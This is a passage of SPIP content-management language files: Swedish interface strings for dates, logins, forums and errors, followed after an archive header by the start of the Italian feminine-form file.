'date_jour_1_abbr' => 'sö',
'date_jour_1_initiale' => 's',
'date_jour_2' => 'måndag',
'date_jour_2_abbr' => 'må',
'date_jour_2_initiale' => 'm',
'date_jour_3' => 'tisdag',
'date_jour_3_abbr' => 'ti',
'date_jour_3_initiale' => 't',
'date_jour_4' => 'onsdag',
'date_jour_4_abbr' => 'on',
'date_jour_4_initiale' => 'o',
'date_jour_5' => 'torsdag',
'date_jour_5_abbr' => 'to',
'date_jour_5_initiale' => 't',
'date_jour_6' => 'fredag',
'date_jour_6_abbr' => 'fr',
'date_jour_6_initiale' => 'f',
'date_jour_7' => 'lördag',
'date_jour_7_abbr' => 'lö',
'date_jour_7_initiale' => 's',
'date_jours' => 'dagar',
'date_minutes' => 'minuter',
'date_mois' => 'månader',
'date_mois_1' => 'Januari',
'date_mois_10' => 'Oktober',
'date_mois_11' => 'November',
'date_mois_12' => 'December',
'date_mois_2' => 'Februari',
'date_mois_3' => 'Mars',
'date_mois_4' => 'April',
'date_mois_5' => 'Maj',
'date_mois_6' => 'Juni',
'date_mois_7' => 'Juli',
'date_mois_8' => 'Augusti',
'date_mois_9' => 'September',
'date_saison_1' => 'vinter',
'date_saison_2' => 'vår',
'date_saison_3' => 'sommar',
'date_saison_4' => 'höst',
'date_secondes' => 'sekunder',
'date_semaines' => 'veckor',
'date_un_mois' => 'månad',
'date_une_heure' => 'timme',
'date_une_minute' => 'minut',
'date_une_seconde' => 'sekund',
'date_une_semaine' => 'vecka',
'dirs_commencer' => ' för att verkligen kunna påbörja installationen',
'dirs_preliminaire' => 'Preliminärt: <b>Ställer in rättigheterna</b>',
'dirs_probleme_droits' => 'Problem med åtkomst-rättigheter',
'dirs_repertoires_absents' => '<b>Följande kataloger har inte hittats: <ul>@bad_dirs@.</ul> </b><p>Det beror antagligen på dåligt användande av gemena och VERSALER i namngivandet. Var god kontrollera att de gemena och VERSALA bokstäverna i namnet på katalogerna motsvarar det som visas ovan; om så inte är fallet, ändra namnen med hjälp av dini FTP-klient för att åtgärda felet.</p><p>När det är gjort, kan du ',
'dirs_repertoires_suivants' => '<b>Följande kataloger saknar skriv-rättigheter: <ul>@bad_dirs@.</ul> </b><p>För att ändra det, använd din FTP-klient för att sätta korrekta åtkomsträttigheter för katalogerna. Proceduren beskrivs i installationsguiden.</p><p>När det är avklarat, kan du ',
'double_occurrence' => 'Två exempel på @balise@',
// E
'en_cours' => 'arbetar',
'envoi_via_le_site' => 'Skicka genom sajten',
'erreur' => 'Fel',
'erreur_balise_non_fermee' => 'Den sista tagen är inte stängd:',
'erreur_texte' => 'fel',
'etape' => 'Etapp',
// F
'fichier_introuvable' => 'Fil som inte kunde hittas: @fichier@',
'form_auteur_confirmation' => 'Bekräfta din e-postadress',
'form_auteur_email_modifie' => 'Din e-postadress är nu ändrad.',
'form_auteur_envoi_mail_confirmation' => 'En bekräftelse har skickats med e-post till @email@. Klicka på den länk som du hittar i detta meddelande för att bekräfta din e-postadress.',
'form_auteur_mail_confirmation' => 'Hej,
du vill ändra din e-postadress.
För att bekräfta din nya adress måste du gå till
adressen nedan. (Annars kommer adressändringen inte att genomföras.):
@url@
',
'form_deja_inscrit' => 'Du är redan registrerad',
'form_email_non_valide' => 'Din epost-adress är ogiltig',
'form_forum_access_refuse' => 'Du har inte längre tillgång till den här sajten',
'form_forum_bonjour' => 'Hej @nom@,',
'form_forum_email_deja_enregistre' => 'Epost-adressen är redan i bruk, du kan alltså använda ditt vanliga lösenord',
'form_forum_identifiant_mail' => 'Dina nya användaruppgifter har precis skickats till dig med epost.',
'form_forum_identifiants' => 'Personliga användaruppgifter',
'form_forum_indiquer_nom_email' => 'Skriv in ditt namn och din epost-adress här så kommer du att få dina personliga användaruppgifter med epost inom kort.',
'form_forum_login' => 'logga in:',
'form_forum_message_auto' => '(detta är ett automatiskt meddelande)',
'form_forum_pass' => 'lösenord:',
'form_forum_probleme_mail' => 'Epost problem: användaruppgifterna kunde inte skickas.',
'form_forum_voici1' => 'Här är dina användaruppgifter för att kunna kan delta i sajtens liv
"@nom_site_spip@" (@adresse_site@):',
'form_forum_voici2' => 'Här är dina användaruppgifter för att skriva artiklar
för sajten "@nom_site_spip@" (@adresse_login@):',
'form_indiquer_email' => 'Var god ange in din epost-adress.',
'form_indiquer_nom' => 'Var god ange in ditt namn.',
'form_indiquer_nom_site' => 'Var god och ange din sajts namn',
'form_pet_deja_enregistre' => 'Den här sajten är redan registrerad',
'form_pet_signature_pasprise' => 'Din underskrift har ignorerats.',
'form_prop_confirmer_envoi' => 'Bekräfta',
'form_prop_description' => 'Beskrivning/kommentar',
'form_prop_enregistre' => 'Ditt förslag har sparats, det kommer att visas online när det har godkänts av en administratör för denna sajt.',
'form_prop_envoyer' => 'Skicka ett meddelande',
'form_prop_indiquer_email' => 'Var god och ange en giltig epost-adress',
'form_prop_indiquer_nom_site' => 'Var god och ange sajtens namn',
'form_prop_indiquer_sujet' => 'Var god och ange ett ämne',
'form_prop_message_envoye' => 'Meddelandet skickat',
'form_prop_non_enregistre' => 'Ditt förslag har inte sparats.',
'form_prop_sujet' => 'Ämne',
'form_prop_url_site' => 'Sajtens URL', # MODIF
'forum_non_inscrit' => 'Antingen är du inte registrerad eller så är adressen eller lösenordet felaktigt.',
'forum_par_auteur' => 'av @auteur@',
'forum_titre_erreur' => 'Fel...',
// I
'ical_texte_rss_articles' => 'filen «backend» för artiklarna på den här sajten finns på adressen:',
'ical_texte_rss_articles2' => 'Dessutom kan du hämta backendfiler för artiklarna i var och en av sajtens olika avdelningar:',
'ical_texte_rss_breves' => 'Dessutom finns det en fil somo innehåller sajtenss nyheter. Genom att välja ett avdelnings-nummer, kan du få enbart de nyheter som tillhör den avdelningen.',
'icone_a_suivre' => 'Fortsätt',
'icone_admin_site' => 'Administrera sajten',
'icone_agenda' => 'Kalender',
'icone_aide_ligne' => 'Hjälp',
'icone_articles' => 'Artiklar',
'icone_auteurs' => 'Författare',
'icone_brouteur' => 'Snabb-surfning',
'icone_configuration_site' => 'Konfiguration',
'icone_configurer_site' => 'Konfigurera din sajt',
'icone_creer_nouvel_auteur' => 'Skapa en ny författare',
'icone_creer_rubrique' => 'Skapa en avdelning',
'icone_creer_sous_rubrique' => 'Skapa en underavdelning',
'icone_deconnecter' => 'Logga ut',
'icone_discussions' => 'Diskutioner',
'icone_doc_rubrique' => 'Bifogade dokument',
'icone_ecrire_article' => 'Skriv en ny artikel',
'icone_edition_site' => 'Redigera sajten',
'icone_gestion_langues' => 'Språk-hantering',
'icone_informations_personnelles' => 'Personlig information',
'icone_interface_complet' => 'Fullständigt gränssnitt',
'icone_interface_simple' => 'Förenklat gränssnitt',
'icone_maintenance_site' => 'Underhåll av sajten',
'icone_messagerie_personnelle' => 'Personligt meddelandesystem',
'icone_repartition_debut' => 'Visa fördelningen från starten',
'icone_rubriques' => 'Avdelningar',
'icone_sauver_site' => 'Säkerhetskopiera sajten',
'icone_site_entier' => 'Hela sajten',
'icone_sites_references' => 'Länkade sajter',
'icone_statistiques' => 'Statistik för sajten',
'icone_suivi_activite' => 'Uppföljning av sajtens aktivitet',
'icone_suivi_actualite' => 'Statistik för sajten',
'icone_suivi_pettions' => 'Hantera namninsamlingarna',
'icone_suivi_revisions' => 'Förändringar i artiklar',
'icone_supprimer_document' => 'Radera dokumentet',
'icone_supprimer_image' => 'Radera bilden',
'icone_tous_articles' => 'Alla dina artiklar',
'icone_tous_auteur' => 'Alla författare',
'icone_visiter_site' => 'Besök sajten', # MODIF
'icone_voir_en_ligne' => 'Se online',
'img_indisponible' => 'bilden är otillgänlig',
'impossible' => 'omöjlig(t)',
'info_a_suivre' => 'STARTPUNKT»',
'info_acces_interdit' => 'Åtkomst förbjuden',
'info_acces_refuse' => 'Åtkomst nekad',
'info_action' => 'Åtgärd: @action@',
'info_administrer_rubriques' => 'Du kan hantera avdelningen och dess under-avdelningar',
'info_adresse_non_indiquee' => 'Du angav inte en adress att prova!',
'info_aide' => 'HJÄLP:',
'info_ajouter_mot' => 'Lägg till nyckelordet',
'info_annonce' => 'MEDDELANDE',
'info_annonces_generales' => 'Allmänna meddelanden:',
'info_article_propose' => 'Sparad artikel',
'info_article_publie' => 'Publicerad artikel',
'info_article_redaction' => 'Artikel under bearbetning',
'info_article_refuse' => 'Refuserad artikel',
'info_article_supprime' => 'Raderad artikel',
'info_articles' => 'Artiklar',
'info_articles_a_valider' => 'Artiklar som ska godkännas',
'info_articles_nb' => '@nb@ artiklar',
'info_articles_proposes' => 'Sparade artiklar',
'info_articles_un' => '1 artikel',
'info_auteurs_nombre' => 'författare:',
'info_authentification_ftp' => 'Authentifiering (via FTP)',
'info_breves_2' => 'nyheter',
'info_breves_nb' => '@nb@ nyheter',
'info_breves_un' => '1 nyhet',
'info_connexion_refusee' => 'Anslutning nekad',
'info_contact_developpeur' => 'Var god och ta kontakt med en utvecklare',
'info_contenance' => 'Sajten innehåller:',
'info_contribution' => 'bidrag till forumen', # MODIF
'info_copyright' => '@spip@ är fri programvara och distribueras @lien_gpl@.',
'info_copyright_doc' => 'För mer information, se (på engelska)<a href="@spipnet@">http://www.spip.net/en</a>.', # MODIF
'info_copyright_gpl' => 'under GPL-licensen',
'info_cours_edition' => 'Dina artiklar under bearbetning',
'info_creer_repertoire' => 'Var god och skapa en katalog som heter:',
'info_creer_repertoire_2' => 'i under-katalogen <b>@repertoire@</b>, sedan',
'info_creer_vignette' => 'skapa en tumnagel automatiskt ',
'info_deplier' => 'Öppna',
'info_descriptif_nombre' => 'beskrivning(ar):',
'info_description' => 'Bekrivning:',
'info_description_2' => 'Beskrivning:',
'info_dimension' => 'Storlek:',
'info_documents_nb' => '@nb@ dokument',
'info_documents_un' => '1 dokument',
'info_ecire_message_prive' => 'Skriv ett privat meddelande',
'info_email_invalide' => 'Ogiltigt epost-adress.',
'info_en_cours_validation' => 'Dina artiklar under arbete',
'info_en_ligne' => 'Online nu:',
'info_envoyer_message_prive' => 'Skicka ett privat meddelande till författaren',
'info_erreur_requete' => 'Fel i frågan:',
'info_erreur_squelette2' => 'Det finns ingen mall <b>@fichier@</b>...',
'info_erreur_systeme' => 'Systemfel (errno @errsys@)',
'info_erreur_systeme2' => 'Hårddisken kan vara full eller databasen kan vara skadad.<br />
<span style="color:red;">Försök <a href=\'@script@\'>laga databasen</a>, eller kontakta din leverantör.</span>',
'info_fini' => 'Klart!',
'info_format_image' => 'Bildformat som kan användas för att skapa ikoner: @gd_formats@.',
'info_format_non_defini' => 'Odefinierat format',
'info_grand_ecran' => 'Stor bild',
'info_image_aide' => 'HJÄLP',
'info_image_process_titre' => 'Hur du skapar tumnaglar',
'info_impossible_lire_page' => '<b>Fel!</b> Sidan <tt><html>@test_proxy@</html></tt> kan inte läsas genom proxyservern',
'info_installation_systeme_publication' => 'Installation av publicerings-system ...',
'info_installer_documents' => 'Du kan automatiskt installera alla dokument som finns i katalogen @upload@.',
'info_installer_ftp' => 'Som administratör, kan du ladda upp filer (via FTP) till mappen @upload@ för att senare kunna välja dem därifrån.',
'info_installer_images' => 'Du kan använda bilder i formaten JPEG, GIF och PNG.',
'info_installer_images_dossier' => 'Ladda upp biilerna i katalogen @upload@ för att senare välja dem därifrån.',
'info_interface_complete' => 'komplett gränssnitt',
'info_interface_simple' => 'Förenklat gränssnitt',
'info_joindre_document_article' => 'Till din artikel kan du bifoga filer i formaten',
'info_joindre_document_rubrique' => 'I avdelningen kan du lägga till dokument av typen',
'info_joindre_documents_article' => 'Till din artikel kan du bifoga filer i formaten:',
'info_l_article' => 'artikeln',
'info_la_breve' => 'nyheten',
'info_la_rubrique' => 'avdelningen',
'info_langue_principale' => 'Huvud-språk för sajten',
'info_largeur_vignette' => '@largeur_vignette@ × @hauteur_vignette@ pixlar',
'info_les_auteurs_1' => 'av @les_auteurs@',
'info_logo_format_interdit' => 'Endast logotyper i formaten @formats@ är tillåtna.',
'info_logo_max_poids' => 'Logotypen måste vara mindre än @maxi@ (Din fil är @actuel@).',
'info_mail_fournisseur' => 'you@isp.com',
'info_message_2' => 'MEDDELANDE',
'info_message_supprime' => 'RADERAT MEDDELANDE',
'info_messages_nb' => '@nb@ meddelanden',
'info_messages_un' => '1 meddelande',
'info_mise_en_ligne' => 'Datum för publicering online',
'info_modification_parametres_securite' => 'uppdaterar säkerhetsinställningar',
'info_mois_courant' => 'I månaden:',
'info_mot_cle_ajoute' => 'Följande nyckelord las till',
'info_multi_herit' => 'Förvalt språk',
'info_multi_langues_soulignees' => 'För de <u>understrukna språken</u> tillhandahåller SPIP en översättning av all text i gränssnittet. Om du väljer dessa språk, kommer många delar av den publika delen (datum, formulär) att översättas automatiskt. För de språk som inte är understrukna, kommer de delarna att vara i sajtens huvudspråk.', # MODIF
'info_multilinguisme' => 'Flerspråkig',
'info_nom_non_utilisateurs_connectes' => 'Ditt namn visas inte i listan över anslutna användare.',
'info_nom_utilisateurs_connectes' => 'Ditt namn visas i listan över anslutna användare.',
'info_nombre_en_ligne' => 'Online nu:',
'info_non_resultat' => 'Inga ressultat för "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'Du använder inte sajtens initerna meddelande-system',
'info_nouveau_message' => 'DU HAR ETT NYTT MEDDELANDE',
'info_nouveaux_messages' => 'DU HAR @total_messages@ NYA MEDDELANDEN',
'info_numero_abbreviation' => 'Nr',
'info_obligatoire' => 'Denna information är obligatorisk',
'info_pense_bete' => 'MEMO',
'info_petit_ecran' => 'Liten bild',
'info_petition_close' => 'Omröstningen stängd',
'info_pixels' => 'pixlar',
'info_plusieurs_mots_trouves' => 'Flear nyckelord hittades för "@cherche_mot@":',
'info_portfolio_automatique' => 'Automatiserad portfölj',
'info_premier_resultat' => '[@debut_limit@ första resultaten av sammanlagt @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ första resultaten av sammanlagt @total@]',
'info_propose_1' => '[@nom_site_spip@] Skickad: @titre@',
'info_propose_2' => 'Skickad artikel
-----------------',
'info_propose_3' => 'Artikeln "@titre@" är skickad för publicering.',
'info_propose_4' => 'Du har blivit inbjuden att granska och kommentera den',
'info_propose_5' => 'i forumet kopplat till den. den är tillgänglig på adressen:',
'info_publie_01' => 'Artikeln "@titre@" godkändes av @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] PUBLICERADE: @titre@',
'info_publie_2' => 'Publicerad artikel
-----------------',
'info_rechercher' => 'Sök',
'info_rechercher_02' => 'Sök:',
'info_remplacer_vignette' => 'Byt ut standardikonen mot en egen ikon:',
'info_rubriques_nb' => '@nb@ avdelningar',
'info_rubriques_un' => '1 avdelning',
'info_sans_titre_2' => 'utan titel',
'info_selectionner_fichier' => 'Du kan välja en fil i foldern @upload@',
'info_selectionner_fichier_2' => 'Välj en fil:',
'info_sites_nb' => '@nb@ sidor',
'info_sites_un' => '1 sida',
'info_supprimer_vignette' => 'radera ikonen',
'info_symbole_bleu' => 'En <b>blå</b> symbol visar ett <b>meddelande</b>: ett personligt meddelande.',
'info_symbole_jaune' => 'En <b>gul</b> symbol visar ett <b>meddelande till alla redaktörer</b>: det kan editeras av alla administratörer, och är synligt för alla redaktörer.',
'info_symbole_vert' => 'En <b>grön</b> symbol visar <b>meddelanden från och till andra användare</b> på sajten.',
'info_telecharger_nouveau_logo' => 'Ladda upp en ny logotype:',
'info_telecharger_ordinateur' => 'Ladda upp från din dator:',
'info_tous_resultats_enregistres' => '[alla resultat är sparade]',
'info_tout_afficher' => 'Visa allt',
'info_travaux_texte' => 'Den här websidan är inte färdig. Kom gärna tilbaka senare...',
'info_travaux_titre' => 'Sajt i uppbyggnad',
'info_trop_resultat' => 'För många resultat för "@cherche_mot@"; försöka att avgränsa sökningen mer.',
'info_utilisation_messagerie_interne' => 'Du använder sajtens interna meddelandesystem.',
'info_valider_lien' => 'godkänn länken',
'info_verifier_image' => ', kontrollera att bilderna är korrekt överförda.',
'info_vignette_defaut' => 'Standardlogotype',
'info_vignette_personnalisee' => 'Anpassad logotyp',
'info_visite' => 'besök:',
'info_vos_rendez_vous' => 'Dina framtida möten',
'infos_vos_pense_bete' => 'Din meddelanden', # MODIF
// L
'lien_afficher_icones_seuls' => 'Visa bara ikoner',
'lien_afficher_texte_icones' => 'Visa ikoner och text',
'lien_afficher_texte_seul' => 'Visa enbart text',
'lien_liberer' => 'version',
'lien_liberer_tous' => 'frigör artiklarna', # MODIF
'lien_nouvea_pense_bete' => 'Nytt memo',
'lien_nouveau_message' => 'NYTT MEDDELANDE',
'lien_nouvelle_annonce' => 'NYTT MEDDELANDE',
'lien_petitions' => 'NAMNINSAMLING',
'lien_popularite' => 'Popularitet: @popularite@%',
'lien_racine_site' => 'Sajtens bas',
'lien_reessayer' => 'Försök igen',
'lien_repondre_message' => 'Svara på det här meddelandet',
'lien_supprimer' => 'radera',
'lien_tout_afficher' => 'Visa alla',
'lien_visite_site' => 'Besök den här sajten',
'lien_visites' => '@visites@ besökare',
'lien_voir_auteur' => 'Visa redaktören',
'ligne' => 'Rad',
'login' => 'Förbindelse',
'login_acces_prive' => 'Tillträde till den privata delen',
'login_autre_identifiant' => 'använd ett annat id ID',
'login_cookie_accepte' => 'Var vänlig, konfigurera din webbläsare så att den accepterar dem (åtminstone för den här sajten).',
'login_cookie_oblige' => 'För att identifiera dig säkert, måste du acceptera cookies.',
'login_deconnexion_ok' => 'Du har loggat ut.',
'login_erreur_pass' => 'Felaktigt lösenord.',
'login_espace_prive' => 'privat del',
'login_identifiant_inconnu' => 'loginnamnet "@login@" är okänt.',
'login_login' => 'Login:',
'login_login2' => 'Login (loginnamn för sajten):', # MODIF
'login_login_pass_incorrect' => '(fel login eller lösenord).',
'login_motpasseoublie' => 'bortglömt lösenord?',
'login_non_securise' => 'Varning, detta formulär är inte säkert.
Om du inte vill skicka ditt lösenord i klartext över internet
Var vänlig och aktivera Javasvcript
i din webbläsare och',
'login_nouvelle_tentative' => 'Nytt försök',
'login_par_ici' => 'Du är registrerad... den här vägen...',
'login_pass2' => 'Lösenord:',
'login_preferez_refuser' => '<b>Om du inte vill använda cookies</b>, så finns det en annan uppkopplingsmetod tillgänglig (mer osäker):',
'login_recharger' => 'ladda om sidan',
'login_rester_identifie' => 'Kom ihåg mitt ID under några dagar',
'login_retour_public' => 'Tillbaka till den publika delen',
'login_retour_site' => 'Tillbaka till den publika delen',
'login_retoursitepublic' => 'Tillbaka till den publika delen',
'login_sans_cookiie' => 'Logga in utan cookie',
'login_securise' => 'Säker inloggning',
'login_sinscrire' => 'registrera dig',
'login_test_navigateur' => 'testar webbläsare/återuppkoppling',
'login_verifiez_navigateur' => '(Kontrollera att din webbläsare inte sparade lösenordet...)',
// M
'masquer_colonne' => 'Göm den här kolumnen',
'masquer_trad' => 'göm översättningar',
'module_fichiers_langues' => 'Språkfiler',
// N
'navigateur_pas_redirige' => 'Om din webbläsare inte pekas om, klicka här för att fortsätta.',
'numero' => 'Nummer',
// O
'occurence' => 'Instans',
'onglet_affacer_base' => 'Radera databasen',
'onglet_auteur' => 'Redaktören',
'onglet_contenu_site' => 'Sajtens innehåll',
'onglet_evolution_visite_mod' => 'Besöksnivå',
'onglet_fonctions_avances' => 'Avancerade inställningar',
'onglet_informations_personnelles' => 'Personlig information',
'onglet_interactivite' => 'Interaktivitet',
'onglet_messagerie' => 'Meddelanden',
'onglet_repartition_rubrique' => 'Fördelning efter avdelning',
'onglet_save_restaur_base' => 'Backup/återställande av databas',
'onglet_vider_cache' => 'Töm cachen',
// P
'pass_choix_pass' => 'Var vänlig, välj ett nytt lösenord:',
'pass_erreur' => 'Fel',
'pass_erreur_acces_refuse' => '<b>Fel:</b> du har inte tillträde till den här sajten längre.',
'pass_erreur_code_inconnu' => '<b>Fel:</b> Den här identiteten finns inte bland de som har tillgång till den här sajten.',
'pass_erreur_non_enregistre' => '<b>Fel :</b> adressen <tt>@email_oubli@</tt> är inte registrerad på den här sajten.',
'pass_erreur_non_valide' => '<b>Fel :</b> mejladressen <tt>@email_oubli@</tt> är inte giltig!',
'pass_erreur_probleme_technique' => '<b>Fel :</b> mejlet kunde inte sändas på grund av ett tekniskt problem.',
'pass_espace_prive_bla' => 'Den privata delen är öppen för besökare
efter registrering. efter att du registrerat dig,
kan du se artiklarna under redigering,
lämna in artiklar och delta i alla forum.',
'pass_forum_bla' => 'Du har begärt att få ta del av ett forum
som är reserverat för registrerade besökare.',
'pass_indiquez_cidessous' => 'Skriv in mejladressen som du använde
vid registreringen här under
Du kommer att få ett mejl som förklarar
hur du återigen kan få tillgång.',
'pass_mail_passcookie' => '(det här är ett automatiskt skapat meddelande)
För att återfå tillgång till sajten
@nom_site_spip@ (@adresse_site@)
var vänlig gå till följande webbadress:
@sendcookie@
Du kan där fylla i ett nytt lösenord
och koppla upp dig mot sajten igen.
',
'pass_mot_oublie' => 'Bortglömt lösenord',
'pass_nouveau_enregistre' => 'Ditt nya lösenord har sparats.',
'pass_nouveau_pass' => 'Nytt lösenord',
'pass_ok' => 'OK',
'pass_oubli_mot' => 'Glömma bort lösenord',
'pass_quitter_fenetre' => 'Stäng detta fönster',
'pass_rappel_login' => 'Kom ihåg: ditt användarnamn (login) är "@login@".',
'pass_recevoir_mail' => 'Du kommer att få ett mejl som förklarar hur du kan återfå tillgång till sajten.',
'pass_retour_public' => 'Tillbaka till den publika delen',
'pass_rien_a_faire_ici' => 'Det finns inget att göra här.',
'pass_vousinscrire' => 'Registrera dig på sajten',
'precedent' => 'föregående',
'previsualisation' => 'Förhandsvisning',
'previsualiser' => 'visualisera',
// R
'retour' => 'Gå tillbaka',
// S
'spip_conforme_dtd' => 'SPIP anser att sidan stämmer med dess DOCTYPE:',
'squelette' => 'mall',
'squelette_inclus_ligne' => 'inkluderar mall, rad',
'squelette_ligne' => 'mall, rad',
'stats_visites_et_popularite' => '@visites@ besök; popularitet: @popularite@',
'suivant' => 'nästa',
// T
'taille_ko' => '@taille@ kb',
'taille_mo' => '@taille@ Mb',
'taille_octets' => ' @taille@ bytes',
'texte_actualite_site_1' => 'När du vant dig vid gränssnittet, klicka på «',
'texte_actualite_site_2' => 'Fullständigt gränssnitt',
'texte_actualite_site_3' => '» för att göra fler funktioner tillgängliga.',
'texte_creation_automatique_vignette' => 'Automatisk generering av miniatyrer är aktiverat på den här sajten. Om du laddar upp bilder, i formaten @gd_formats@, med det här formuläret, kommer de att kopplas till en miniatyr med maximal storlek @taille_preview@ pixlar.',
'texte_documents_associes' => 'Följande dokument är länkade till artikeln,
men de är inte direkt bifogade
Beroende på sajtens utseende,
kan de uppträda som bifogade dokument.',
'texte_erreur_mise_niveau_base' => 'Databasfel under uppgraderingen.
Bilden <b>@fichier@</b> uppgraderades inte (artikel @id_article@).<p>
Anteckna referensen och försök köra uppgraderingen igen,
kontrollera efteråt att bilderna fortfarande
finns i artiklarna.',
'texte_erreur_visiteur' => 'Du har försökt att öppna den privata delen med en identitet som inte har tillträde.',
'texte_inc_auth_1' => 'Du har identifierat dig med login
<b>@auth_login@</b>, men det finns inte i databasen (längre).
Försök att',
'texte_inc_auth_2' => 'Koppla upp igen',
'texte_inc_auth_3' => 'efter att ha stängt och sedan
omstartat webbläsaren om nödvändigt.',
'texte_inc_config' => 'Förändringar som du gör på denna sida påverkar starkt
sajtens funktion. Vi rekommenderar att du inte gör något innan du bekantat dig med funktionaliteten i SPIP. <br /><br /><b>I
allmänhet, rekommenderas starkt
att lämna ansvaret för dessa sidor till sajtens huvudsakliga webbmaster. <b>',
'texte_inc_meta_1' => 'Ett fel inträffade då systemet skrev <code>@fichier@</code>. Som administratör, var vänlig,',
'texte_inc_meta_2' => 'Kontrollera skrivrättigheterna',
'texte_inc_meta_3' => 'i katalogen <code>@repertoire@</code>.',
'texte_statut_en_cours_redaction' => 'under redaktion',
'texte_statut_poubelle' => 'i papperskorgen',
'texte_statut_propose_evaluation' => 'inlämnad för godkännande',
'texte_statut_publie' => 'publicerad online',
'texte_statut_refuse' => 'refuserad',
'titre_ajouter_mot_cle' => 'LÄGG TILL ETT NYCKELORD:',
'titre_cadre_raccourcis' => 'GENVÄGAR:',
'titre_changer_couleur_interface' => 'Byter färg på gränssnittet',
'titre_image_admin_article' => 'Du kan redigera den här artikeln',
'titre_image_administrateur' => 'Administratör',
'titre_image_aide' => 'Hjälp för den här saken',
'titre_image_auteur_supprime' => 'Redaktören raderad',
'titre_image_redacteur' => 'Redaktör utan behörighet',
'titre_image_redacteur_02' => 'Redaktör',
'titre_image_visiteur' => 'Besökare',
'titre_joindre_document' => 'BIFOGA ETT DOKUMENT',
'titre_mots_cles' => 'NYCKELORD',
'titre_probleme_technique' => 'OBS!: ett tekniskt problem (databasservern) förhindrar tillgång till den här delen. Tack för förståelsen.',
'titre_publier_document' => 'PUBLICERA ETT DOKUMENT I DEN HÄR AVDELNINGEN',
'titre_signatures_attente' => 'Bidrag i väntan på validering',
'titre_signatures_confirmees' => 'Validerade bidrag',
'titre_statistiques' => 'Statistik för sajten',
'titre_titre_document' => 'Dokumentets titel:',
'todo' => 'Att göra',
'trad_reference' => '(refererad artikel)', # MODIF
// Z
'zbug_balise_b_aval' => ': B taggen för sent i loopen',
'zbug_balise_inexistante' => 'fel @from@: taggen #@balise@ finns inte',
'zbug_balise_sans_argument' => 'Det saknas ett argument i taggen @balise@',
'zbug_boucle' => 'loop',
'zbug_boucle_recursive_undef' => 'recursiv slinga ej definierad', # MODIF
'zbug_calcul' => 'Omkompilering',
'zbug_champ_hors_boucle' => 'Fält @champ@ utanför slingan',
'zbug_champ_hors_motif' => 'Fältet @champ@ utanför slingan med taggen @motif@', # MODIF
'zbug_code' => 'kod',
'zbug_critere_inconnu' => 'Kriteriet @critere@ okänt',
'zbug_distant_interdit' => 'externt data förbjudet', # MODIF
'zbug_doublon_table_sans_cle_primaire' => 'dubletter i en tabell utan primär nyckel', # MODIF
'zbug_doublon_table_sans_index' => 'dubbletter i en tabell utan index', # MODIF
'zbug_erreur_boucle_double' => 'SLINGA@id@: Dubbel definition ', # MODIF
'zbug_erreur_boucle_fermant' => 'SLINGA@id@: Sista taggen saknas ', # MODIF
'zbug_erreur_boucle_syntaxe' => 'Felaktig syntax i slinga (BOUCLE) ', # MODIF
'zbug_erreur_compilation' => 'Kompileringsfel',
'zbug_erreur_execution_page' => 'fel då sidan genererades', # MODIF
'zbug_erreur_filtre' => 'Fel - odefinierat filter: <b>"@filtre@"</b>', # MODIF
'zbug_erreur_meme_parent' => '{meme_parent} används exklusivt för länkarna (FORUMS) eller (RUBRIQUES)', # MODIF
'zbug_erreur_squelette' => 'Fel i Mallen',
'zbug_hors_compilation' => 'Okompilerad',
'zbug_info_erreur_squelette' => 'ُFel i sajten',
'zbug_inversion_ordre_inexistant' => 'invertering av en ordningsföljd som inte finns', # MODIF
'zbug_pagination_sans_critere' => '#PAGINATION tagg utan {pagination} kriteriet, eller använd i en rekursiv slinga', # MODIF
'zbug_parametres_inclus_incorrects' => 'Felaktiga parametrar för inkludering', # MODIF
'zbug_profile' => 'Genereringstid: @time@',
'zbug_resultat' => 'resultat',
'zbug_serveur_indefini' => 'ingen SQL-server är definierad', # MODIF
'zbug_statistiques' => 'statistik för SQL-satser ordnade efter tidsåtgång.',
'zbug_table_inconnue' => 'SQL-tabellen «@table@» okänd',
'zxml_connus_attributs' => 'kända attribut',
'zxml_de' => 'från',
'zxml_inconnu_attribut' => 'Okänt attribut',
'zxml_inconnu_balise' => 'Okänd tagg',
'zxml_inconnu_entite' => 'okänd entitet',
'zxml_inconnu_id' => 'okänt ID',
'zxml_mais_de' => 'utan från',
'zxml_non_conforme' => 'följer inte principen',
'zxml_non_fils' => 'ärver inte från',
'zxml_nonvide_balise' => 'tagg ej tom',
'zxml_obligatoire_attribut' => 'obligatoriskt attribut saknas i ',
'zxml_succession_fils_incorrecte' => 'felaktigt arv',
'zxml_survoler' => 'för att se de rätta, håll muspekaren ovenför',
'zxml_valeur_attribut' => 'värde för attribut',
'zxml_vide_balise' => 'tom tagg',
'zxml_vu' => 'tidigare sedd'
);
?>
ecrire_it_fem.php 0000666 00000200136 15252547432 0010070 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=it_fem
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'Attiva il plugin',
'affichage' => 'Visualizzazione',
'aide_non_disponible' => 'Questa parte della guida in linea non è ancora disponibile in italiano.',
'auteur' => 'Autrice:',
'avis_acces_interdit' => 'Accesso vietato.',
'avis_article_modifie' => 'Attenzione, @nom_auteur_modif@ ha lavorato su quest’articolo @date_diff@ minuti fa',
'avis_aucun_resultat' => 'Nessun risultato.',
'avis_chemin_invalide_1' => 'il percorso che hai scelto',
'avis_chemin_invalide_2' => 'non sembra valido. Torna alla pagina precedente e verifica le informazioni fornite.',
'avis_connexion_echec_1' => 'il collegamento alla base di dati è fallito.',
'avis_connexion_echec_2' => 'torna alla pagina precedente e verifica le informazioni fornite.',
'avis_connexion_echec_3' => '<b>N.B.</b> Spesso sul server si deve <b>chiedere</b> l’attivazione dell’accesso alla base di dati prima di poterlo utilizzare. Se è impossibile collegarsi, verificare la configurazione per la connessione con l’amministratrice del sistema.',
'avis_connexion_ldap_echec_1' => 'La connessione al server LDAP è fallita.',
'avis_connexion_ldap_echec_2' => 'Torna alla pagina precedente e verifica le informazioni fornite. ',
'avis_connexion_ldap_echec_3' => 'In alternativa, non utilizzare il supporto LDAP per importare utenti.',
'avis_deplacement_rubrique' => 'Attenzione! Questa rubrica contiene @contient_breves@ breve/i: se vuoi spostarla, spunta questa casella per confermare.',
